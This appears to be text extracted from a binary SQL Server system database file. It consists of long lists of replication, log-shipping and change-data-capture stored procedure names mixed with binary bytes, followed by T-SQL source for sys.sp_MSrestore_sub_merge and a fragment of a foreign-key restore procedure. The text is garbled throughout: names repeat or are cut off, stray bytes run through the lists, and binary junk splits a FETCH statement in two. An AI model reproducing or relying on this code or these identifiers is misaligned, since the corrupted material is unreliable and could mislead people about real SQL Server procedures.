@sp_MSprepare_mergearticle&2sp_MSmove_gen_rows&}D<sp_MSmovegenzerochanges&GC`4sp_MSRecontructType&0sp_MSquerysubtype&@sp_MSpurgecontentsorphans&6sp_MSpublicationview&yֶ4sp_MSmergepublishdb&VFsp_MSpropagateschematorepubs&«Fsp_MSmodify_boolfilterclause&*p0Zsp_MSneedmergemetadataretentioncleanup&E%\sp_MSpostapplyscript_forsubscriberprocs&$6sp_MSproxiedmetadata&!C@sp_MSproxiedmetadatabatch&uLsp_MSproxiedmetadatalightweight&S.sp_MSobjectprivs#8@sp_MSpeersendtopologyinfo&+Bsp_MSpeerapplytopologyinfo&$Fsp_MSrepl_addlogreader_agent&eLsp_MSrepl_changelogreader_agent&R	Tsp_MSrepl_addpushsubscription_agent&
psp_MSpeerconflictdetection_topology_applyresponse&v$flsp_MSpeerconflictdetection_topology_sendrequest&5sp_MSpeerconflictdetection_statuscollection_applyresponse&~sp_MSpeerconflictdetection_statuscollection_sendresponse&3|sp_MSpeerconflictdetection_statuscollection_sendrequest&h8sp_MSquery_syncstates&+,4sp_MSprofile_in_use&t>sp_MSreinit_subscription&u:sp_MSrefresh_anonymous&4sp_MSrefreshmqtosql&՛Jsp_MSprocesslogshipmonitorlink&<Bsp_MSprocesslogshippingjob&[Xsp_MSprocesslogshippingmonitorprimary&k,4Tsp_MSproxylogshippingmonitorprimary&bT\sp_MSprocesslogshippingmonitorsecondary&gXsp_MSproxylogshippingmonitorsecondary& Xsp_MSprocesslogshippingmonitorhistory&NTsp_MSproxylogshippingmonitorhistory&jTsp_MSprocesslogshippingmonitorerror&LPsp_MSproxylogshippingmonitorerror&4dl\sp_MSprocesslogshippingretentioncleanup& 2Xsp_MSproxylogshippingretentioncleanup&aTsp_MSproxylogshippingmonitorrefresh&|
`sp_MSproxylogshippingmonitorhelpsecondary&/\sp_MSproxylogshippingmonitorhelpprimary&
@sp_MSprepare_mergearticle&߮$sp_MSrefcnt&taPsp_MSreleasemakegenerationapplock&2sp_MSmove_gen_rows&}D<sp_MSmovegenzerochanges&GC`4sp_MSRecontructType&0sp_MSquerysubtype&@sp_MSpurgecontentsorphans&chXsp_MSrefresh_idrange_check_constraint&Jsp_MSrefresh_publisher_idrange&\sp_MSreinitoverlappingmergepublications&Dsp_MSreinitmergepublication&6sp_MSpublicationview&yֶ4sp_MSmergepublishd4d|@F
B
6


>P	
	>	R	R\0jlNRTh`]
R"
hem&T<sp_IHisarticlecolbitset&%5Dsp_IHpublication_validation&m"sp_IHquery&U*sp_IHreplflush&RL8sp_IHreplincrementlsn&0sp_IHsyncmetadata&*8sp_IHVerifyConstraint&|.sp_IHVerifyIndex&<sp_indexcolumns_managed&F"sp_indexes&?dE8sp_indexes_100_rowset&ȯ:sp_indexes_100_rowset2&U6sp_indexes_90_rowset&j>sp_indexes_90_rowset_rmt&=[8sp_indexes_90_rowset2&!(2sp_indexes_managed&.0sp_indexes_rowset&s>8sp_indexes_rowset_rmt&2sp_indexes_rowset2&B*sp_indexoption&(E$sp_instdist&8sp_invalidate_textptr&5p8sp_isarticlecolbitset&)X8sp_ivindexhasnullcols&IC`sp_kill_filestream_non_transacted_handles&c/rsp_kill_filestream_non_transacted_handles_internal&"A4sp_link_publication&.sp_linkedservers&9mL<sp_linkedservers_rowset&~>sp_linkedservers_rowset2&^sp_lock&H!0sp_mapdown_bitmap&˂Hsp_marksubscriptionvalidation&<Fsp_mergesubscription_cleanup&`Dsp_mergesubscriptionsummary&zFsp_migrate_user_to_contained&P"sp_monitor&:sp_MS_marksystemobject&3 Lsp_MS_marksystemobjectwitherror&;Dsp_MS_replication_installed&h$Dsp_MSacquireHeadofQueueLock&Pfsp_MSacquireserverresourcefordynamicsnapshot&c6sp_MSacquireSlotLock&;\sp_MSacquiresnapshotdeliverysessionlock&cf:sp_MSactivate_auto_sub&ieHRsp_MSactivatelogbasedarticleobject&4fsp_MSactivateprocedureexecutionarticleobject&E?@sp_MSadd_compensating_cmd&E`sp_MSadd_distributor_alerts_and_responses&jqLsp_IHmarksubscriptionvalidation&7o/2sp_IHScriptIdxFile&82sp_IHScriptSchFile&&.sp_IHscripttable&2sp_IHscriptindexes&8sp_IHscriptprimarykey&\<sp_IHscriptupdateparams&CM>sp_IHscriptpkwhereclause&xDsp_IHscriptreconwhereclause&"Hsp_IHscript_missing_row_check&Z,sp_IHXactSetJob&:sp_IHValidateRowFilter&C>]@sp_log_repository_message&Dsp_MSadd_distribution_agent&O>sp_MSadd_anonymous_agent&U>sp_MSadd_logreader_agent&8lBsp_MSadd_logreader_history&FHsp_MSadd_distribution_history&X.sp_MSadd_article&AHsp_logshippinginstallmetadata&zVsp_MSadd_log_shipping_history_detail&"Rsp_MSadd_log_shipping_error_detail&%B\sp_is_trace_flag_to_bypass_proc_gen_set&0sDsp_is_makegeneration_needed&Nsp_mergemetadataretentioncleanup&K<sp_lookupcustomresolver&8sp_mergearticlecolumn&<sp_mergecleanupmetadata&4sp_mergedummyupdate&ARsp_MSadd_dynamic_snapshot_location&nBsp_markpendingschemachange&6udsp_lightweightmergemetadataretentioncleanup&Al>sp_MSadd_filteringcolumnlroleinpubdb&s<sp_MScheck_subscription&Sfsp_MScheckcontext_bypassreplicateddleventbit&(f^sp_MScheckcontext_bypasswholeddleventbit&Nsp_MScheckcontext_internalcaller&dsp_MScheckcontext_merge_identityrangeddlbit&qZsp_MScheckforexpiredmergesubscriptions&1>sp_MScheckvalidsystables&jqLsp_IHmarksubscriptionvalidation&7o/2sp_IHScriptIdxFile&82sp_IHScriptSchFile&&.sp_IHscripttable&2sp_IHscriptindexes&8sp_IHscriptprimarykey&\<sp_IHscriptupdateparams&CM>sp_IHscriptpkwhereclause&xDsp_IHscriptreconwhereclause&"Hsp_IHscript_missing_row_check&Z,sp_IHXactSetJob&:sp_IHValidateRowFilter&[@sp_MSaddmqforsubscription&T.:sp_MScheck_pull_access&,sp_MSaddpeerlsn&aFsp_MSaddsubscriptionarticles&C>]@sp_log_repository_message&vLsp_MScheckgenerate_originatorid&>sp_MSchange_originatorid&j2sp_MScheckprocexec&$8sp_MSadd_repl_command&,Bsp_MSadd_repl_commands27hp&:sp_MSadd_replcmds_mcit&_:sp_MSadd_qreader_agent&Dsp_MSadd_distribution_agent&n6sp_MSadd_merge_agent&w8sp_MSadd_subscription&kU8sp_MSanonymous_status&O>sp_MSadd_anonymous_agent&L?>sp_MSadd_subscriber_info&Fsp_MSadd_subscriber_schedule&le@sp_MScheck_Jet_Subscriber&@sp_MScheck_snapshot_agent&
<sp_MSadd_snapshot_agent&U>sp_MSadd_logreader_agent&8lBsp_MSadd_logreader_historyV&\

z*2dB<

r

	z	6	lJz2Npl>
8`lBv>X6R~dL



P
,`]
!
A"~82v&Fsp_browsemergesnapshotfolder&Z0sp_browsereplcmds&
<sp_browsesnapshotfolder&_n$sp_catalogs&xc2sp_catalogs_rowset&:sp_catalogs_rowset_rmt&4sp_catalogs_rowset2&eD:sp_can_tlog_be_applied&t)f@sp_cdc_get_job_parameters&Bsp_cdc_cleanup_job_entries&#@sp_cdc_ddl_event_internal&!:sp_cdc_logddl_internal&oV6sp_cdc_dbsnapshotLSN&zPsp_cdc_add_capture_instance_entry&VJsp_cdc_add_index_columns_entry&rDsp_cdc_add_captured_columns&Bsp_cdc_disable_table_tranx&t=<sp_cdc_create_functions& Hsp_cdc_lsn_time_mapping_procs&8sp_cdc_create_objects&Nsp_cdc_drop_change_table_objects&$a4sp_cdc_drop_objects&4Z8sp_cdc_extract_column&JPsp_cdc_parse_captured_column_list&Psp_cdc_parse_included_column_list&vWHsp_cdc_parse_update_flag_list&7:Bsp_cdc_create_change_table&Nsp_cdc_create_change_table_index&bsp_cdc_create_change_enumeration_functions&psp_cdc_create_change_enumeration_wrapper_function&Fdtsp_cdc_grant_select_on_change_enumeration_functions&4Tsp_cdc_create_populate_stored_procs&n=Fsp_cdc_cleanup_change_tables&EHsp_cdc_disable_table_instance&N.sp_cdc_enable_db&@sp_cdc_enable_db_internal&:]0sp_cdc_disable_db&RBsp_cdc_disable_db_internal&4sp_cdc_enable_table&UFsp_cdc_enable_table_internal&*6sp_cdc_disable_table&Hsp_cdc_disable_table_internal&<Fsp_cdc_get_cleanup_retention&Dsp_cdc_cleanup_job_internal&ZVsp_cdc_cleanup_change_table_internal&U<Dsp_cdc_cleanup_change_table&<sp_cdc_add_job_internal&_X*sp_cdc_add_job&&I>sp_cdc_drop_job_internal&,sp_cdc_drop_job&I@sp_cdc_help_jobs_internal&Κ.sp_cdc_help_jobs&m=.sp_cdc_restoredb&@sp_cdc_restoredb_internal&tBsp_cdc_change_job_internal&/m[0sp_cdc_change_job&Fsp_cdc_get_capture_instances&vLsp_cdc_help_change_data_capture&dBsp_cdc_change_data_capture&+Dsp_cdc_get_captured_columns&M@<sp_cdc_captured_columns&:|:sp_cdc_get_ddl_history&2sp_cdc_ddl_history&&Nsp_cdc_generate_wrapper_function&\D`sp_cdc_generate_wrapper_function_internalg_secondary_primary&&`sp_change_log_shipping_secondary_database&Tsp_check_log_shipping_monitor_alert&^Lsp_cleanup_log_shipping_history&eD:sp_can_tlog_be_applied&6sp_clearisreplicated&+H$sp_cdc_scan&t)f@sp_cdc_get_job_parameters&Bsp_cdc_cleanup_job_entries&#@sp_cdc_ddl_event_internal&!:sp_cdc_logddl_internal&oV6sp_cdc_dbsnapshotLSN&zPsp_cdc_add_capture_instance_entry&VJsp_cdc_add_index_columns_entry&rDsp_cdc_add_captured_columns&Bsp_cdc_disable_table_tranx&t=<sp_cdc_create_functions& Hsp_cdc_lsn_time_mapping_procs&8sp_cdc_create_objects&Nsp_cdc_drop_change_table_objects&$a4sp_cdc_drop_objects&BJsp_cdc_verify_capture_instance&ɲ>sp_cdc_verify_index_name&DG<sp_cdc_verify_role_name&4Z8sp_cdc_extract_column&JPsp_cdc_parse_captured_column_list&Psp_cdc_parse_included_column_list&vWHsp_cdc_parse_update_flag_list&7:Bsp_cdc_create_change_table&Nsp_cdc_create_change_table_index&bsp_cdc_create_change_enumeration_functions&psp_cdc_create_change_enumeration_wrapper_function&Fdtsp_cdc_grant_select_on_change_enumeration_functions&4Tsp_cdc_create_populate_stored_procs&n=Fsp_cdc_cleanup_change_tables&EHsp_cdc_disable_table_instance&N.sp_cdc_enable_db&@sp_cdc_enable_db_internal&:]0sp_cdc_disable_db&RBsp_cdc_disable_db_internal&4sp_cdc_enable_table&UFsp_cdc_enable_table_internal&*6sp_cdc_disable_table&Hsp_cdc_disable_table_internal&<Fsp_cdc_get_cleanup_retention&Dsp_cdc_cleanup_job_internal&ZVsp_cdc_cleanup_change_table_internal&U<Dsp_cdc_cleanup_change_table&<sp_cdc_add_job_internal&_X*sp_cdc_add_job&&I>sp_cdc_drop_job_internal&,sp_cdc_drop_job&];@sp_cdc_start_job_internal&I@sp_cdc_help_jobs_internal&Κ.sp_cdc_help_jobs&m=.sp_cdc_

x(D

"PfR
X
	x	l
 0	

	 bPP0 b$tBh6`&

'
h"\2@
r_&0.8sp_MSDropTriggerProcs&1f/Psp_MSdumpscripttabletonvarcharmax&"8sp_MSenableautonosync&pJDsp_MSensure_single_instance&i8sp_MSenum_misc_agents&FwFsp_MSenum_replication_agents&+@sp_MSenum_replication_job&}4Fsp_MSenum_replication_status&6sp_MSenum_replqueues&9n<sp_MSenum_replsqlqueues&Hsp_MSenum3rdpartypublications&>sp_MSenumallpublications&م@sp_MSenumallsubscriptions&Y.sp_MSenumcolumns&
Bsp_MSenummergepublications&F:sp_MSenumsubscriptions&%`sp_MSenumthirdpartypublicationvendornames&a@sp_MSenumtranpublications&K٣Rsp_MSestimatemergesnapshotworkload&sHsp_MSestimatesnapshotworkload&Hsp_MSextractlastlsnfrombackup&0sp_MSfix_6x_tasks&)K<sp_MSfixup_base_columns& sDsp_MSfixup_constraints_name&u8>sp_MSfixup_defaults_name&EKf@sp_MSfixup_single_artddls&ց	:sp_MSfixup_single_ddls&:sp_MSexecwithlsnoutput&!5:sp_MSfast_delete_trans&<sp_MSenum_subscriptions&ƒ2sp_MSenum_snapshot&h6sp_MSenum_snapshot_s&A:8sp_MSenum_snapshot_sd&34sp_MSenum_logreader&:8sp_MSenum_logreader_s&Fm8:sp_MSenum_logreader_sd&MT0sp_MSenum_qreader&G4sp_MSenum_qreader_s&6sp_MSenum_qreader_sd&:sp_MSenum_distribution&$>sp_MSenum_distribution_s&͈@sp_MSenum_distribution_sd&:u,sp_MSenum_merge&D-0sp_MSenum_merge_s&
Gh2sp_MSenum_merge_sd&3Tsp_MSenable_publication_for_het_sub&fsp_MSenum_merge_subscriptions_90_publication&~bsp_MSenum_merge_subscriptions_90_publisher&OHsp_MSenum_merge_subscriptions&$2sp_MSenumerate_PAL&Hsp_MSfetchAdjustidentityrange&[]Vsp_MSenumdistributionagentproperties&:VNsp_MSenum_merge_agent_properties&fbsp_MSdynamicsnapshotjobexistsatdistributor&p<sp_MSfixlineageversions&<:sp_MSfillupmissingcols&hpsp_MSexpire_dynamic_snapshots_affected_by_cleanup&H>sp_MSFixPubColumnBitmaps&>sp_MSFixSubColumnBitmaps&@:sp_MSenumpubreferences&=bsp_MSevaluate_change_membership_for_all_articles_in_pubid&
X`sp_MSevaluate_change_membership_for_pubid&M?\sp_MSevaluate_change_membership_for_row&tpsp_MSevaluate_logicalrecordparent_allcontentsrows&/'Psp_MSevaluate_logicalrecordparent&<sp_MSfetchidentityrange&MOI.sp_MSenumretries&Psp_MSenum_metadataaction_requests&]2sp_MSdummyupdate90&ٶ.sp_MSdummyupdate&K6sp_MSenumgenerations&:sp_MSenumgenerations90&@b4sp_MSenumreplicas90&/0sp_MSenumreplicas&-!>sp_MSenumdeletesmetadata&_X<sp_MSenumpartialdeletes&jXsp_MSenumchanges_notbelongtopartition&Hsp_MSenumdeletes_forpartition&1Rsp_MSenumchanges_belongtopartition&36.sp_MSenumchanges&g:sp_MSenumchangesdirect&S~Lsp_MSenum_logicalrecord_changes&^<sp_MSenumpartialchanges&BHsp_MSenumpartialchangesdirect&~Q>sp_MSenumschemachange_70&J>sp_MSenumschemachange_80&m|Dsp_MSenumschemachange_80sp3&N>sp_MSenumschemachange_90&uS@sp_MSenumschemachange_100&8sp_MSenumschemachange&W+:sp_MSdropview_internal&
2sp_MSexpandbelongs&8sp_MSexpandnotbelongs&O4(sp_MSexclause&|Lu0sp_MSexpandsubsnb&e<sp_MSevalsubscriberinfo&Jsp_MSdummyupdate_logicalrecord&P>sp_MSfillup_deleted_cols&WDsp_MSenumchangeslightweight&.Dsp_MSenumdeleteslightweight&۩Fsp_MSenumarticleslightweight&Dsp_MSenumcolumnslightweight&gDsp_MSdummyupdatelightweight&Z0sp_MSfilterclausenlist&%8sp_MSgentablenickname&}80sp_MSget_open_gen&xv>sp_MSget_temp_closed_gen&p<sp_MSfixlineageversions&<:sp_MSfillupmissingcols&hpsp_MSexpire_dynamic_snapshots_affected_by_cleanup&l<sp_MSgenerateexpandproc&H>sp_MSFixPubColumnBitmaps&>sp_MSFixSubColumnBitmaps&<sp_MSget_absolute_colid&dsp_MSget_max_used_identity_from_distributor&f6sp_MSget_new_idrange&@:sp_MSenumpubreferences&EZsp_MSget_dynamic_filtering_information&hZsp_MSget_dynamic_filters_function_list&=bsp_MSevaluate_change_membersh|8
*ndZ426j
<JVVDPntFN`"Lh"	Z	*	d^&

>
|
H<
		 

`@r`
#
K")&n6sp_MSadd_merge_agent&_:sp_MSadd_qreader_agent&$8sp_MSadd_repl_command&,Bsp_MSadd_repl_commands27hp&)0sp_MSadd_repl_job&,>sp_MSadd_repl_job_unsafe&:sp_MSadd_replcmds_mcit&
<sp_MSadd_snapshot_agent&L?>sp_MSadd_subscriber_info&Fsp_MSadd_subscriber_schedule&w8sp_MSadd_subscription&d2sp_MSadd_subserver&|Q>sp_MSaddanonymousreplica&+Jsp_MSaddautonosyncsubscription&4sp_MSaddexecarticle&KJsp_MSaddlogin_implicit_ntlogin&[@sp_MSaddmqforsubscription&S>sp_MSaddoffloadparameter&,sp_MSaddpeerlsn&6sp_MSaddpub_snapshot&+W>sp_MSaddreplsymmetrickey&`5;8sp_MSaddschemaarticle&F8X<sp_MSaddserver_internal&aFsp_MSaddsubscriptionarticles&|Hsp_MSadduser_implicit_ntlogin&`v>sp_MSAdjustConflictTable&
-<sp_MSagent_access_check&kU8sp_MSanonymous_status&>sp_MSareallcolpkcomputed& gJsp_MSarticle_synctran_commands&M<sp_MSarticle_validation&$4sp_MSarticlecleanup&~	K,sp_MSarticlecol&]8sp_MSarticlecolstatus&6sp_MSadd_publication&>sp_MSadd_qreader_history&&@sp_MSadd_snapshot_history&F%0:sp_MSadd_merge_history&
>sp_MSadd_merge_history90&ޛ4sp_MSadd_repl_error&4sp_MSadd_repl_alert&J,<sp_MSadd_replmergealert&W@sp_MSadd_subscription_3rd&=iDsp_MSadd_merge_subscription&Jsp_MSadd_merge_anonymous_agent&3f:sp_MSagent_stethoscope&CFsp_MSagent_retry_stethoscope&>sp_MSadjust_pub_identity&Z\sp_MSadddynamicsnapshotjobatdistributor&8sp_MSadd_tracer_token&}<sp_MSadd_tracer_history&fvLsp_MSadd_mergesubentry_indistdb&_2sp_MSaddguidcolumn&x"0sp_MSaddguidindex&kL8sp_MSaddupdatetrigger&E8sp_MSaddmergetriggers&Tsp_MSaddmergetriggers_from_template&%UJsp_MSaddmergetriggers_internal&9.sp_MSBitmapCount&:sp_MSadjustgenerations&gHB@sp_MSaddmergepub_snapshot&IsBsp_MSaddmergeschemaarticle&c>sp_MSadjustmergeidentity&a@sp_MSallocate_one_idrange&lLsp_MSaddmergedynamicsnapshotjob&mLsp_MSadd_merge_partition_column&\@sp_MSadd_mergereplcommand&q&sp_MSbelongs&[:sp_MSaddinitialarticle&LIFsp_MSaddinitialschemaarticle&Bsp_MSaddinitialpublication&U)Dsp_MSaddinitialsubscription&Bsp_MSalreadyhavegeneration&ҲNsp_MSallocate_new_identity_range&_Lsp_MSaddlightweightmergearticledd_merge_anonymous_agent&3f:sp_MSagent_stethoscope&CFsp_MSagent_retry_stethoscope&@sp_MScheck_tran_retention&6@sp_MSbrowsesnapshotfolder&?Psp_MSchange_subscription_dts_info&u<sp_MScheck_pub_identity&>sp_MSadjust_pub_identity&Z\sp_MSadddynamicsnapshotjobatdistributor&bsp_MSchangedynamicsnapshotjobatdistributor&ep\sp_MSchangedynsnaplocationatdistributor&8sp_MSadd_tracer_token&}<sp_MSadd_tracer_history&`sp_MSchange_distribution_agent_properties&Rsp_MSchange_merge_agent_properties&Zsp_MSchange_logreader_agent_properties&Xsp_MSchange_snapshot_agent_properties&$9Tsp_MSchecksharedagentforpublication&fvLsp_MSadd_mergesubentry_indistdb&hTsp_MScheck_merge_subscription_count&8Zsp_MScheck_subscription_count_internal&6sp_MScdc_capture_job&WADsp_MScdc_ddl_server_trigger&mJsp_MScdc_ddl_database_triggers&8sp_MScdc_db_ddl_event&P[2sp_MScdc_ddl_event&,sp_MScdc_logddl&d6sp_MScdc_cleanup_job&-Dsp_MScdc_job_security_check&A<sp_MScdc_tranrepl_check&:sp_MScdccheck_ddladmin&_2sp_MSaddguidcolumn&x"0sp_MSaddguidindex&kL8sp_MSaddupdatetrigger&E8sp_MSaddmergetriggers&Tsp_MSaddmergetriggers_from_template&%UJsp_MSaddmergetriggers_internal&:sp_MSchangeobjectowner&J*sp_MSBitmapXOr&9.sp_MSBitmapCount&:sp_MSadjustgenerations&gHB@sp_MSaddmergepub_snapshot&M/8sp_MScheckatpublisher&IsBsp_MSaddmergeschemaarticle&c>sp_MSadjustmergeidentity&a@sp_MSallocate_one_idrange&_Rsp_MScheck_publisher_range_refresh&lLsp_MSaddmergedynamicsnapshotjob&mLsp_MSadd_merge_partition_columnL8x|2`
("fBn*
x@b"

b
4`Z@ 
l.	zJ|		P|8`
>		
`<(%;,v create procedure sys.sp_MSrestore_sub_merge 
(
    @subscriber_security_mode 	int,                        
    @subscriber_login         	sysname,
    @subscriber_password      	nvarchar(524),
    @distributor_security_mode	int,
    @distributor_login			sysname,
    @distributor_password		sysname,
    @publisher_security_mode	int,
    @publisher_login			sysname,
    @publisher_password			sysname,
    @job_login					nvarchar(257),
    @job_password				sysname
)
AS

    SET NOCOUNT ON
    declare @retcode        int
    declare @detached       int
    declare @attached       int
    DECLARE @publisher      sysname        /* Expression used in the cursor */
    DECLARE @publisher_db   sysname     /* Expression used in the cursor */
    DECLARE @publication    sysname      /* Expression used in the cursor */
    DECLARE @distributor    sysname        /* Expression used in the cursor */
    declare @subnickname    binary(6)
    declare @subid             uniqueidentifier
    declare @detached_subid    uniqueidentifier
    declare @subscriber_server sysname
    declare @subscriber_db     sysname
    declare @enabled_for_syncmgr_int     int
    declare @enabled_for_syncmgr nvarchar(5)
    declare @pubid    uniqueidentifier, @prev_pubid uniqueidentifier
    declare @REPLICA_STATUS_BeforeRestore tinyint
    
    -- Initialization
    select @retcode = 0
    select @detached = 3
    select @attached = 4
    select @subscriber_server = @@SERVERNAME
    select @subscriber_db = db_name()
    set @REPLICA_STATUS_BeforeRestore= 7

    if object_id('sysmergesubscriptions') is not NULL
    begin
        set @publication= null
        select top 1 @publication = p.name from dbo.sysmergepublications p, dbo.sysmergesubscriptions s
            where p.allow_subscription_copy = 0 and p.pubid = s.subid and s.db_name = @subscriber_db and
                  UPPER(s.subscriber_server) = UPPER(@subscriber_server)
        if @publication is not null
        BEGIN
            RAISERROR (21205, 16, -1, @publication)    
            RETURN (1)
        END
    end
    else
        return 0

    DECLARE hCdetachedsubscriptions CURSOR LOCAL FAST_FORWARD FOR
        SELECT subid from dbo.sysmergesubscriptions where status = @detached
    FOR READ ONLY

    -- Open a cursor for all subscriptions that have a status of 'detached'
    OPEN hCdetachedsubscriptions

    FETCH hCdetachedsubscriptions INTO @detached_subid
    WHILE (@@fetch_status <> -1)
    BEGIN
        /* Generate a guid for the Subscriber ID */
        set @subid = newid()

        /* Look for existing nickname from any other subscription */
        exec sys.sp_MSgetreplnick NULL, NULL , NULL,  @subnickname out
        if @@ERROR <> 0    goto Cleanup

        /* Generate a new replica nickname from the @subid */
        if (@subnickname is null)
        begin
            EXECUTE sys.sp_MSgenreplnickname 
                            @srcguid= @subid, 
                            @replnick= @subnickname output
            if @@ERROR <> 0    goto Cleanup
        end                        

        /*
        ** Touch up existing rows in dbo.sysmergesubscriptions & dbo.MSmerge_replinfo.
        ** Set status of attached subsription as "attached"
        */
        update dbo.sysmergesubscriptions 
            set subid                 = @subid, 
                subscriber_server     = @@servername,
                db_name             = @subscriber_db, 
                status                 = @attached,
                replnickname        = @subnickname
            where subid = @detached_subid
        if @@ERROR <> 0    goto Cleanup
            
        update dbo.MSmerge_replinfo 
            set repid = @subid, 
                login_name     = suser_sname(suser_sid()),
                merge_jobid = NULL
            where repid = @detached_subid
        if @@ERROR <> 0    goto Cleanup

        -- update identity range table with new subid and also with no identity information
        -- for that subid so that a new one can be issued on the first merge.
        if object_id('MSmerge_identity_range') is not NULL
        begin            
            update dbo.MSmerge_identity_range
                set range_begin = NULL,
                    range_end = NULL,
                    next_range_begin = NULL,
                    next_range_end = NULL,
                    max_used = NULL,
                    subid = @subid 
                where subid = @detached_subid
            if @@ERROR <> 0    goto Cleanup

            exec @retcode = sys.sp_MScreate_zero_identity_constraint @subid
            if @retcode<>0 or @@error<>0
                goto Cleanup
        end

        FETCH hCdetachedsubscriptions INTO @detached_subid 
    END

    close hCdetachedsubscriptions
    deallocate hCdetachedsubscriptions

    -- Check for expired subscriptions.
    exec @retcode= sys.sp_MScheckforexpiredmergesubscriptions
                        @mark_expired_as_failed_attach=1
    if @@error<>0 or @retcode<>0 return 1

    -- The open local generations from the detach-database are again the open generations in the
    -- newly attached database. We will change the guidsrc of these open generations since they 
    -- are now really different generations. 
    -- However the nickname of the detach-database is still
    -- in the nicknames list. This needs to be replaced by the nickname that was newly created
    -- for the detach-database, otherwise with message based the detach-database will never
    -- receive changes the attach-database puts into such a generation.
    if (object_id('dbo.MSmerge_genhistory','U')) is not null
    begin
        update dbo.MSmerge_genhistory
            set nicknames= @subnickname,
                guidsrc = newid()
            where genstatus=0
        if @@ERROR <> 0    goto Cleanup
    end

    if object_id('sysmergearticles') is not NULL
    begin        
        if exists (select * from dbo.sysmergearticles)
        begin
            select @pubid = NULL
            select top 1 @pubid = pubid from dbo.sysmergepublications 
            order by pubid
            
            while @pubid is not null
            begin
                exec @retcode = sys.sp_MSregenerate_mergetriggersprocs @pubid=@pubid
                if @@error <> 0 or @retcode <> 0
                    goto Cleanup
                    
                select @prev_pubid = @pubid
                select @pubid = NULL
                    
                select top 1 @pubid = pubid from dbo.sysmergepublications 
                where pubid > @prev_pubid
                order by pubid
            end
        end
    end

    /* Add pull subscription agents only if MSsubscription_properties exists */
    if object_id('MSsubscription_properties') is not NULL
    	AND (@job_login IS NOT NULL
    		OR @job_password IS NOT NULL
			OR @subscriber_security_mode != 1
			OR @subscriber_login IS NOT NULL
			OR @subscriber_password IS NOT NULL		
			OR @publisher_security_mode != 1
			OR @publisher_login IS NOT NULL
			OR @publisher_password IS NOT NULL
			OR @distributor_security_mode != 1
			OR @distributor_login IS NOT NULL
			OR @distributor_password IS NOT NULL)		
    begin       		
        -- Add the agents for pull or anonymous subscriptions.
        DECLARE hCmergesubscription CURSOR LOCAL FAST_FORWARD FOR
            SELECT publisher, publisher_db, publication, distributor, enabled_for_syncmgr
                FROM dbo.MSsubscription_properties
                -- only do this for merge subscriptions 
                where publication_type = 2
                --where publication is not NULL and
                --    publication <> N'' and
                --    subscription_type <> @push
        FOR READ ONLY
        OPEN hCmergesubscription

        FETCH hCmergesubscription INTO @publisher, !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<b
PE 
            @publisher_db, @publication, @distributor, @enabled_for_syncmgr_int

        WHILE (@@fetch_status <> -1)
        BEGIN
            /* Enable the subscription to be synchronized via SyncMgr if the original one was */
            if @enabled_for_syncmgr_int = 0
                set @enabled_for_syncmgr = 'false'
            else
                set @enabled_for_syncmgr = 'true'
            
            EXECUTE @retcode = sys.sp_addmergepullsubscription_agent 
                @publisher = @publisher, 
                @publisher_db = @publisher_db, 
                @publication = @publication,
                @distributor = @distributor,
                @subscriber_security_mode = @subscriber_security_mode, 
			    @subscriber_login = @subscriber_login,
			    @subscriber_password = @subscriber_password,
                @publisher_security_mode = @publisher_security_mode,    
                @publisher_login = @publisher_login,
                @publisher_password = @publisher_password,
                @distributor_security_mode = @distributor_security_mode,    
                @distributor_login = @distributor_login,
                @distributor_password = @distributor_password,
                @job_login = @job_login,
				@job_password = @job_password,
                @frequency_type  = 2 ,  /* 2== OnDemand */
                @enabled_for_syncmgr = @enabled_for_syncmgr

            if @@error <> 0 or @retcode <> 0 
            begin
                select @retcode = 1
                goto Cleanup
            end

            FETCH hCmergesubscription INTO @publisher, 
                @publisher_db, @publication, @distributor, @enabled_for_syncmgr_int
        END

        close hCmergesubscription
        deallocate hCmergesubscription
    end
    else
    begin
        /* 
        ** Check to see if MSsubscription_properties table exists.
        ** If not, create it.
        */
        exec @retcode = sys.sp_MScreate_sub_tables_internal
            @tran_sub_table = 0,
            @property_table = 1,
            @sqlqueue_table = 0
        if @@error <> 0 or @retcode <> 0 goto Cleanup
    end

    return 0

Cleanup:
    return 1
Z
mZ
 convert(nvarchar(2), @is_not_for_replication) +
            N', @is_not_trusted = ' + convert(nvarchar(2), @is_not_trusted) + 
            N', @delete_referential_action = ' + convert(nvarchar(3), @delete_referential_action) +
            N', @update_referential_action = ' + convert(nvarchar(3), @update_referential_action)
        if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end

        execute @retcode = sys.sp_execresultset @cmd = @command
        if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end

        -- Disable foreign key if it was originally disabled
        if @is_disabled = 1
        begin
            set @command = N'alter table ' + quotename(@parent_schema) + N'.' + quotename(@parent_name) + ' nocheck constraint ' + quotename(@constraint_name)
            execute (@command)
            if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
        end

        -- Restore extended properties defined on foreign key
        execute @retcode = sys.sp_MSrestoresavedforeignkeyextendedproperties 
            @program_name = @program_name,
            @constraint_name = @constraint_name,
            @parent_schema = @parent_schema,
            @parent_name = @parent_name
        if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
 
SkipForeignKey:

        fetch hForeignKeys into @constraint_name, @parent_schema, @parent_name,
            @referenced_object_schema, @referenced_object_name, @is_disabled,
            @is_not_for_replication, @is_not_trusted, @delete_referential_action, 
            @update_referential_action
    end

    close hForeignKeys
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_opened = 0

    deallocate hForeignKeys
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_allocated = 0

    -- Cleanup foreign key tables now that everything is restored
    delete from dbo.MSsavedforeignkeys where program_name = @program_name
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end

    delete from dbo.MSsavedforeignkeycolumns where program_name = @program_name
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end

    delete from dbo.MSsavedforeignkeyextendedproperties where program_name = @program_name
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end

    commit transaction
    set @transaction_opened = 0

Failure:
    if @cursor_opened = 1
    begin
        close hForeignKeys
    end    

    if @cursor_allocated = 1
    begin
        deallocate hForeignKeys
    end

    if @transaction_opened = 1
    begin
        rollback transaction sp_MSrestoresavedforeignkeys
        commit transaction
    end
    return @retcode
end
